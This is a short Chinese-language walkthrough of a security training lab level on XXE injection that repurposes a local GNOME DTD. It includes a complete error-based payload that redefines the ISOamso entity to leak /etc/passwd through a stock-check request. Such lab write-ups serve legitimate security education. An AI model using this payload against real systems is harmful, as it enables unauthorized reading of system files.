第九关 利用 XXE 通过重新利用本地 DTD 来检索数据
这一关就是引用本地dtd文件,通过利用xxe漏洞来检索文件内容
提示:1、靶场具有“检查库存”功能,可解析 XML 输入,但不显示结果。
2、解决该实验室问题,请触发一条包含 /etc/passwd 文件内容的错误消息。
3、需要引用服务器上的现有 DTD 文件,并从中重新定义实体。
4、使用 GNOME 桌面环境的系统通常有一个 DTD,其中包含 /usr/share/yelp/dtd/docbookx.dtd 一个名为 ISOamso 的实体。
具体操作
1、运行burp时,访问产品页面,单击“检查库存”,找到触发的库存检查的POST /product/stock数据包,发往repeater
2、靶场提示说了:使用 GNOME 桌面环境的系统通常有一个 DTD,其中包含 /usr/share/yelp/dtd/docbookx.dtd 一个名为 ISOamso 的实体
在 XML 声明和 stockCheck 元素之间插入以下参数实体定义,引用本地DTD:
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>

刷新浏览器,靶场过关
